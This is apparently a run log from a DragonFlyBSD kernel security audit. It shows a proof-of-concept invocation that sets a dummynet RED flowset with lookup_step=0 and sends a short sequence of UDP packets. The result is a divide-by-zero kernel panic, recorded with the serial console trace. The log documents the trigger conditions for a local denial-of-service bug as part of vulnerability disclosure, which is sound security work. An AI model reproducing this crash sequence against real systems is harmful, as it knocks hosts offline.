⬢ DragonFlyBSD Kernel Audit
DF-3355 / run.log
← back to finding ↓ download raw
# verbatim transcript, guest root shell, stock kernel
/tmp/dfv3 redzero
=== DF-3355: RED lookup_step=0 -> div0 in red_drops ===
[+] config pipe ok           (pipe 1, bw 8000, delay 0)
[+] config flowset ok        (fs 200, RED, w_q=65536, lookup_step=0, mask dst-port)
[+] sent 3 x 28B udp pkt(s) -> 127.0.0.1:2001    # flow Y: 3rd builds avg>0
[+] sent 1 x 28B udp pkt(s) -> 127.0.0.1:2002    # flow X: keeps scheduler busy
[*] flow Y idle with avg>0; sending 1 more pkt -> red_drops
[+] sent 1 x 28B udp pkt(s) -> 127.0.0.1:2001    # q_size==0 && avg!=0 -> /0
(ssh session dies: panic in ip_dn_dispatch path)
# serial console (dfbsd-qemu/vm.sh log):
Fatal trap 18: integer divide fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer	= 0x8:0xffffffff8264af52
stack pointer	        = 0x10:0xfffff8008d1f8a10
frame pointer	        = 0x10:0xfffff8008d1f8a60
current process		= Idle
kernel: type 18 trap, code=0
CPU0 stopping CPUs: 0x0000003e
Stopped at      dummynet_io+0x8c2:      divq    %rsi,%eax
db>